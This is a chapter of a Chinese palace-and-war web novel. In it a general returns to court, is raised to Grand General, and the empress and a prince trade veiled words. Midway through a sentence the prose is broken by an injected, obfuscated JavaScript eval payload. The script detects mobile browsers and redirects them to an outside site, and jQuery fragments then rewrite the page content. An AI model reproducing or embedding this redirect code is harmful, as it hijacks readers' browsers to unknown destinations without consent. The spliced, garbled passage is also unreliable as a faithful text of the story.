十日后，凯旋之师抵达洛阳。


    故寒赋与陆栖枳并辔而行，身后是历经血火洗礼的镇北军与残存的凛风关守军，铁甲铿锵，旌旗招展，引得洛阳百姓夹道相望，欢呼声高扬。


    故寒赋望着熟悉的街巷，心中百感交集，唯有亲身经历过战场生死，才知这太平景象何等珍贵。


    他不自觉地摸了摸怀中那枚玉佩，赵武的遗物，眼底闪过一丝沉痛，待他入宫回来之后再交给赵武的妻女罢。


    陆栖枳却始终神色平静，她端坐于马背之上，红色披风愈发衬得她愈发玉面朗目，目光扫过欢呼的人群，掠过巍峨的宫墙，最终定格在那座象征着至高权力的皇城深处。


    她的归来，从不是为了接受这些掌声，而是为了四年前那场未能落下的铡刀，为了陆氏门楣那洗不净的血色。


    她垂目，无声地叹了一息。


    “陆将军，”故寒赋侧首，沉思片刻后，试探地开口询问，“陛下他……”


    “故将军，”陆栖枳打断他，重新抬起目光望着前方，平声道，“谨言慎行。”


    故寒赋心中一凛，点头，立刻噤声。


    队伍行至宫门前，早有内侍等候。


    “陛下有旨，宣镇北将军陆栖枳，镇戎将军故寒赋，即刻入宫觐见！”


    两人下马，卸下佩剑，跟随内侍，穿过重重宫阙。


    太极殿上，文武百官分列两侧。


    年轻的帝王端坐于龙椅之上，冕旒垂落，遮住了他部分面容，只露出一双鎏金又深邃难测的眼睛。


    他看着阶下并肩而立的两人，一个是从尸山血海中爬回来的边关宿将，一个是携赫赫战功与满门血债突然归来的陆氏孤女。


    “臣，陆栖枳，参见陛下！”


    “臣，故寒赋，参见陛下！”


    “平身。”帝王的声音平和稳重，“二位爱卿浴血奋战，大破魅启，扬我国威，实乃社稷之功。”


    “此乃臣等本分，不敢居功。”故寒赋躬身道。


    帝王的目光转向陆栖枳，审视一番后，开口道：“陆将军，朕记得，镇北军前任主帅，乃是陆擎老将军。”


    来了。


    殿内瞬间安静下来，所有目光都聚焦在陆栖枳身上。


    陆家旧事，如同一根敏感的刺，无人敢轻易触碰，可帝王此举……


    陆栖枳抬起头，目光平静地迎向帝王，平声道：“回陛下，正是先父。”


    她声音清越，字字清晰，没有丝毫畏缩。


    帝王沉默了片刻，指尖轻轻敲击着龙椅扶手，发出细微的哒哒声，每一声都敲在众人的心弦上。


    “陆老将军……可惜了。”他缓缓开口，有些失望道，“如今看来，虎父无犬女。陆爱卿此番力挽狂澜，功不可没。”


    夜楠不禁心中暗暗嘲道先帝是个废物。


    他朝下面的那个身影看去，瞬间沉下脸。


    “故爱卿率军有功，赏黄金千两。”


    “谢陛下。”


    “陆爱卿。”


    “臣在。”


    “凛风关一役，你力挽狂澜，阵斩敌酋，扬我国威，更携镇北军横扫魅启，拓土百里。此等不世之功，岂是寻常封赏可酬？”


    此言一出，殿内已有细微的骚动。


    故寒赋心中亦是一紧，预感陛下接下来的话绝不简单。


    果然，帝王略一停顿，语气陡然拔高，肃声道：“朕，决议擢升陆栖枳为——镇国大将军！总领北境一切军务，节制边陲四镇，赐金印紫绶，享公爵仪制！”


    “镇国大将军”五字，如同惊雷，炸响在寂静的大殿之上！


    此言一出，满殿皆惊！


    非但未追究陆家旧事，反而加官进爵，委以重任！这意义很耐人寻味。镇国大将军，这可是本朝武官至高荣誉，非力挽国运，功盖寰宇者不可得授！上一个获此殊荣的，还是开国时的元勋！陆栖枳虽战功赫赫，可她……她身上还背着陆家那未曾洗刷的“通敌”污名啊！


    无数道目光，惊疑、不解、忮忌、审视，齐刷刷射向那道红色身影。就连故寒赋也愕然侧首，看向身旁的女子。


    陆栖枳垂首立于殿中，宽大的衣袖摆下，指尖猛地掐入掌心，传来尖锐的刺痛。


    震惊！难以置信！


    外面突然卷气一阵风，哗啦啦地吹着。


    这责任太重，重到以她如今戴“罪”之身，几乎承载不起。帝王此举……是何意？将她置于炉火之上炙烤？让满朝文武，让天下人的目光都聚焦在她身上，聚焦在陆家那桩悬而未决的旧案上？


    殿外天光倾洒在她身侧的地砖上，映着她一双眼眸，目若晨星。


    忽然间，她明白了。


    这或许不是刁难，是机会！这不是恩赏，是赌局。


    帝王这是在赌，赌她能不能用这把新铸的剑，斩断旧日的枷锁。给她至高权柄，也给她最险的悬崖，若不能自证清白，这“镇国”之名就会成为陆家永远的耻辱！


    她深吸一口气，在无数道目光的注视下，缓缓抬起头，脸上再无半分惊愕，只有一片沉静的凛然，她上前一步，撩袍，单膝跪地，动作流畅。


    她没有推辞，没有惶恐，坦然接下了这柄双刃剑和赌局。


    “臣，陆栖枳，谢陛下隆恩！必当竭尽肱骨之力，护我社稷安稳，扬盛澜国威于四海！”


    帝王冕旒后的嘴角，似乎微微牵动了一下。他目光深沉地看着阶下跪伏的女子，淡淡道：“爱卿平身。望你勿负朕望，勿负‘镇国’之名。”


    “臣，谨记圣训！”


    陆栖枳起身，脊背挺得笔直，如同北境风雪中那永不弯折的青松，孤傲、常青。


    陆栖枳深知，从这一刻起，她不再是仅仅为复仇而归的陆氏孤女，她是帝王亲封的镇国大将军，手握重兵，权倾朝野。她脚下的路，注定以鲜血与权谋铺就，而陆家的清白，必须由她亲手挣回来！


    帝王眼眸中掠过一丝极淡的赞许，冲人扬了扬手，看着她接过那方沉甸甸的金印。


    陆栖枳接过的那一刻，忽然想起凛风关外的雪，想起那些埋骨沙场的陆家儿郎，现在她终于握住了可以斩破迷雾的利刃，哪怕……这把剑会伤到自己。


    “都退下吧。”帝王摆了摆手，似乎有些疲惫。


    “臣等告退。”


    她转身时，披风在身后展开，如垂天之云。


    殿外的梧桐正好落下最后一片叶子，那叶子在秋风里打了几个旋，最终安静地躺在汉白玉石阶上，陆栖枳愣愣地看着。


    故寒赋望着走在前方的女子。


    她英勇善战，想起她冲破敌陷，而此刻，她从容地走在这九重宫阙之间，接下了那足以压垮任何人的“镇国”之名。没有惶恐，没有迟疑，只有一种坦然。


    他看着陆栖枳的背影，有一种发自深处的敬佩。


    敬佩她在绝境中破土而出的坚韧，敬佩她敢接下这危局的气魄，更敬佩她明知前路艰险，却依然选择以身为剑的决绝。


    故寒赋暗自舒了口气，正欲与陆栖枳说话，却见前方台阶下立着一位宫装丽人。


    云鬓珠翠，凤钗轻摇，一身水华朱色金绣鸾凤纹宫装，华贵非常。正是中宫皇后，故尘染。


    她显然是在等里头的帝王，见到故寒赋与陆栖枳一同出来，她端庄秀美的脸上先是浮现一丝恰到好处的欣喜，随即，目光与故寒赋微微一触，那欣喜之下便迅速掠过一抹难以言喻的尴尬与局促，纤长的手指戴着护甲不自觉地蜷缩，捏紧了袖口。


    故尘染知晓故寒赋，她兄长那份超越亲伦的心意，这份知晓，如同无形的薄纱，隔在兄妹之间，让她在他面前，再难找回从前纯粹的亲昵，虽然从前也不多……但她不想再与故寒赋见面了！


    “微臣参见皇后娘娘。”故寒赋压下心头翻涌的情绪，依礼参拜。


    陆栖枳亦随之行礼：“臣陆栖枳，参见皇后娘娘。”


    故尘染几乎是立刻将目光转向陆栖枳，如同抓住了救命稻草，那份不自在瞬间被得体的笑容取代，笑道：“陆将军免礼。本宫在宫中听闻将军于凛风关外，一骑当千，心向往之。今日得见风姿，方知何为‘朔气传金柝，寒光照铁衣’，果然名不虚传。”


    她上前一步，虚扶了陆栖枳一下，动作流畅自然，却巧妙地避开了与故寒赋更多的眼神交流。


    “娘娘谬赞，守土安邦，马革裹尸，本就是将宿命。”


    陆栖枳起身，她似乎察觉到了，不着痕迹地化解了故尘染刻意营造的热络中那丝微妙的僵硬，又不经意对上视线，她实在没见过这么好看的人，英气、柔美，世间所有词堆砌她身上都不够。


    故尘染笑容温婉，目光在陆栖枳清冷的面容上停留一瞬，又换了一副感激的表情。


    毕竟她救了故寒赋的性命，她这个表情应该很自然吧？


    故尘染柔声道：“将军过谦了。若日后宫中设宴，届时我们再好好叙话。本宫还有些事务需处理，便不打扰将军与兄长叙旧了。”


    不等二人回应，她便对着陆栖枳微微颔首，又向故寒赋投去匆匆一瞥，旋即便携着宫人转身离去。


    故寒赋望着妹妹几乎是“逃离”的背影，喉结轻滚，终是未发一言。他收回目光，看向身侧始终平静无波的陆栖枳，刚想开口，却见陆栖枳已率先举步。


    “故将军，请。”


    他快步上前，与她并肩而行。


    在即将分别的宫道尽头，他停下脚步，对着她，郑重地行了一个军中礼节。不同于虚与委蛇的客套，是将士之间最纯粹的敬意。


    “陆将军，”他声音低沉，“保重。”


    陆栖枳驻足回望，阳光映亮她的眼眸。


    她微微颔首：“故将军亦是，保重。”


    说罢，她转身走向等候在宫门外的镇北军将士。


    故寒赋则站在原地，许久未动。


    宫路敞大，故尘染步子走得很慢，身旁的宫女小心翼翼扶着她，不知不觉就到了御花园。


    “皇后娘娘，您可是身子有些不适？需要奴婢让太医院的人在长生殿候着吗？”宫女小心翼翼问道。


    须臾，故尘染想到一个人影，她抿唇，最后摆手拒绝了。


    故尘染屏退了左右，独自在御花园，夏风拂过池面，带来荷花的清香，也稍稍吹散了她心头的烦闷。


    行至一处假山旁，却听得一阵略显轻浮的脚步声自身后传来。


    不必回头，她也知是谁，只不紧不慢掏出丝帕在手里绞弄。


    “臣弟参见皇嫂。”夜朔懒懒道，人已绕到她身前，装模


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005232|177674||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    作样地行了个礼。


    他今日穿着一身青骊色蟠龙常服，玉冠束发，眉眼与夜楠有几分相似，却少了那份深沉威仪，此刻，他正毫不避讳地打量着故尘染，目光在她脸庞上流转。


    “临王殿下今日好兴致。”故尘染唇角微弯。


    “夏光烂漫，不及皇嫂风华。”夜朔凑近一步，压低了声音，“听闻今日在殿外，皇嫂与故将军……和那位新晋的镇国大将军相谈甚欢？臣弟远远瞧着，皇嫂似乎……有些困扰？”


    他话语中带着试探，更有一丝看热闹不嫌事大的促狭。


    故尘染心中冷笑一声，面上却是不显，反而眼波流转，斜睨了他一眼。


    她漫不经心道：“哦？临王殿下倒是眼观六路，耳听八方。本宫与兄长叙话，有何困扰可言？莫非……殿下是觉得，本宫连与自家兄长说几句话的资格都没了？”


    夜朔被她这一眼看得心头微痒，更是来了劲头，匆匆道：“臣弟岂敢！只是关心皇嫂罢了。那位陆将军……哦不，现在是镇国大将军了，煞气太重，臣弟是怕她冲撞了皇嫂。”他顿了顿，轻声道，“况且，皇兄近日忙于政务，难免疏忽了皇嫂，臣弟看在眼里，实在是……心疼得很。”


    “心疼？”故尘染轻轻重复了一遍，忽然向前迈了一小步。她身上淡淡的龙诞香瞬间侵入了夜朔的呼吸范围。


    她抬起手，用指尖轻轻拂过夜朔肩头并不存在的灰尘。


    “那依王爷看……本宫该如何是好呢？”她仰起脸，眸光潋滟，带着一种天真又无辜的神情望着他，仿佛真的在向他寻求答案。


    夜朔呼吸一促，看着她近在咫尺的芙蓉面，心跳骤然失序。


    “皇嫂……”他喉结滚动，声音有些发干，“若皇嫂不弃，臣弟愿……”


    “愿为本宫分忧解劳？”故尘染接过他的话，唇角笑意加深，那笑容美得惊心，却也带着嘲讽。


    她收回手，指尖若有似无地擦过他的衣领。


    就在夜朔心神荡漾，以为有机可乘之际，故尘染却倏然后退一步，拉开了距离，脸上那魅惑慵懒的神情瞬间收敛得干干净净，恢复了平日的冷面无情，仿佛刚才的一切都只是镜花水月般的错觉。


    “皇……”


    “谁准你背后议论镇国大将军的？还有，临王的心意，本宫心领了。”她语气很冷漠，低着头，绞弄帕子，“只是这宫规森严，人多眼杂，王爷还是谨言慎行的好。若是传出什么风言风语，惹得陛下不快……王爷怕是担待不起。”


    她微微颔首，目光掠过他瞬间僵住的脸色，勾唇笑了。


    “夏暑燥热，王爷也早些回府吧，莫要……中暑。”


    说完，不再看他那精彩纷呈的表情，故尘染优雅地转身，扶着不知何时已悄然来到近前的贴身宫女的手，迤迤然离去。


    只留下夜朔一人站在原地，对着她远去的背影，心头如同被猫爪挠过，又痒又麻，却更多的是被耍弄后的羞恼与不甘。


    他没好气地踢了踢脚。


    夏风卷着几片落叶打在他身上，平添了几分狼狈。


    午后，夜楠才从御书房出来，听完允德禀报故尘染辰时去过太极殿，只淡淡应下。


    抬步进入长生殿，他抬眼，便见故尘染正坐在窗下的美人榻上，手中虽执着一卷书，目光却有些飘忽，显然心神不属。


    “朕听闻，皇后今日特意去太极殿外等候了？”他随手解下玄色绣金的披风，递给一旁垂首侍立的允德。


    允德这一下差点没接住，他隐隐觉得陛下心情……不太好？


    故尘染未行礼，也未抬眼：“臣妾听闻兄长与陆将军凯旋，心中挂念，便去看了看。”


    夜楠走到她面前，居高临下地看着她，抱臂偏头道：“朕还以为，皇后是专程去迎镇戎将军的。”


    他似是又想起什么，忽道：“哦，也是，毕竟，兄妹情深。”最后四个字，他吐得轻缓。


    故尘染懒得理他这副样子，又来了，老男人……


    故尘染知道他意有所指，却无法再接这话头。她深吸一口气，强行将话题引开：“听说陛下今日，似乎对那位陆将军格外……宽厚。”


    夜楠挑眉，似乎对她的转移话题并不意外，顺着她的话道：“陆栖枳？她确实是个将才，难得。统率镇北军，于绝境中驰援凛风关，大破魅启，这份胆识与功绩，值得这份封赏。”


    “只是，”故尘染悠悠地轻叹一声，“想到陆家当年……通敌叛国，满门倾覆，终究是令人扼腕。那样一个忠烈将门，竟落得如此下场，如今想来，仍觉世事无常。”


    “陆擎通敌，证据确凿，先帝震怒，下旨严办，亦是无奈。只是苦了后人……陆栖枳能挣脱桎梏，走到今日，倒让朕有些意外。”他顿了顿，抬眼看向故尘染，“皇后似乎，很为她惋惜？”


    故尘染迎着他的目光，坦然道：“臣妾只是觉得，若陆家当年未曾行差踏错，我盛澜或许能多一位肱骨之臣，边关也能多几分安宁。看到陆将军，便忍不住想，若没有那场变故，她或许不必背负如此沉重的过往。”


    “往事已矣。陆栖枳如今是朕亲封的大将军，过往如何，已不重要。重要的是，她今后，能否为朕，为这盛澜江山，尽忠职守。”


    故尘染垂目，没有再接话。